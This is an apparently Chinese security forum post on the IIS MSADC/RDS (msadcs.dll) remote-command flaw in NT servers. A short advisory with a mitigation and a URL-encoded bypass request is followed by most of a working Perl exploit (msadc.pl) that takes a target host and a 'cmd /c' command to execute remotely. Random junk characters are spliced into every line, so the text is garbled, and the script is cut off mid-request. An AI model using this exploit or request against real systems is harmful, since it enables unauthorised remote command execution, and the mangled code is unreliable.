IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
ENGw < +?c&Gazi 涉及程序:
'g^]ZTxb Microsoft NT server
T|E ;U +@!9&5SA 描述:
/
g&mDYV| 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
lu >>~vy6 nhIITfJJ 详细:
J@Li*Ypo 如果你没有时间读详细内容的话,就删除:
vH?/YhH| c:\Program Files\Common Files\System\Msadc\msadcs.dll
E5o0^^ 有关的安全问题就没有了。
P`"dj@1' _
pJU~8 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
qYpHH!!C= C}!$'C| 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
^)SvH 关于利用ODBC远程漏洞的描述,请参看:
Z?GC+hG` hP7nt http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm <q!{<(: >uQ!B/C! 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
9u:MF0:W http://www.microsoft.com/security/bulletins/MS99-025faq.asp z` sH 74KFsir@ 这里不再论述。
)X@(>b{ H
fRxgA@ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
]Rw,5\0
W6a2I /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
>Mn"k\j4 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
5[GX ^wX_@?aKtt vv3dr_l: #将下面这段保存为txt文件,然后: "perl -x 文件名"
o?b"B+# 7Fq|Zc`P #!perl
;BI{v^()s #
_gc2h@x1O # MSADC/RDS 'usage' (aka exploit) script
[0 W^|=#K #
>_5D`^ # by rain.forest.puppy
F~{4)` #
{}>"f]3 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
rp
_G.C # beta test and find errors!
X=DJOepH' L\b$1U!i use Socket; use Getopt::Std;
UP,(zKTA getopts("e:vd:h:XR", \%args);
7ed*dXY* Vbwbc5m} print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
-5Ccuk>6 2bCa|HTv if (!defined $args{h} && !defined $args{R}) {
k_!z=6?[: print qq~
c*3ilMP\4 Usage: msadc.pl -h <host> { -d <delay> -X -v }
Oy H: -h <host> = host you want to scan (ip or domain)
C&"8A\we -d <seconds> = delay between calls, default 1 second
87*R#(( -X = dump Index Server path table, if available
1XSqgr"3 -v = verbose
V-jo2+Y5= -e = external dictionary file for step 5
pHWol! VB[R!S= Or a -R will resume a command session
*{C)o0D p<jHUG4?' ~; exit;}
:}E*u^v K '2%hc\P6P $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
_/KW5 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Z3S\@_/; if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
mhcJ0\@_ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
eqLETo@} * $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
KKOu":b
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
GM@TWwG-B U_14CLsdG if (!defined $args{R}){ $ret = &has_msadc;
atPf527\` die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
u52@{@Ad bjR&bIA: print "Please type the NT commandline you want to run (cmd /c assumed):\n"
z9VQsC'K . "cmd /c ";
@m(\f $in=<STDIN>; chomp $in;
Ron^PvvY& $command="cmd /c " . $in ;
d{YhKf#~ IQH;`+ if (defined $args{R}) {&load; exit;}
5xRh'Jkyb wl!'Bck= print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
mNV4"lNR &try_btcustmr;
RRV&!<l@$ ;E*ozKpm print "\nStep 2: Trying to make our own DSN...";
l ='lV] &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
2!jbaSH(+ U:`rNHl print "\nStep 3: Trying known DSNs...";
| WDX@Q
&known_dsn;
#8[,w.X ^%\p; yhL print "\nStep 4: Trying known .mdbs...";
RI%*5lM8; &known_mdb;
P~?u2,.E[ A@`C<O ^ if (defined $args{e}){
@GGyiK@ print "\nStep 5: Trying dictionary of DSN names...";
d*H-l3N &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
8o~\L=
l _msDf2e9 print "Sorry Charley...maybe next time?\n";
8l?]UFM>C exit;
b#$:XS 4$_8#wB1& ##############################################################################
]bRu8kn LxMOs Nv sub sendraw { # ripped and modded from whisker
gs9f2t sleep($delay); # it's a DoS on the server! At least on mine...
{0e5<"i my ($pstr)=@_;
!vG._7lPp socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>.B+xn= die("Socket problems\n");
1P6~IZVN if(connect(S,pack "SnA4x8",2,80,$target)){
YP#OI6u select(S); $|=1;
0{Tf;a< print $pstr; my @in=<S>;
CMTy(Z8_) select(STDOUT); close(S);
|rNm_L2 return @in;
S>**hMU% } else { die("Can't connect...\n"); }}
HI:E&20y b"x:IDW qG ##############################################################################
<01MXT- az`5{hK sub make_header { # make the HTTP request
Q,jlKgB5: my $msadc=<<EOT
w $2-t POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
/wIZ ' User-Agent: ACTIVEDATA
sz}Nal$AC Host: $ip
DNL
TJrN Content-Length: $clen
z?V > ST Connection: Keep-Alive
4N*^% Rov0 ADCClientVersion:01.06
+!w?g/dV Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
#Xsby W&r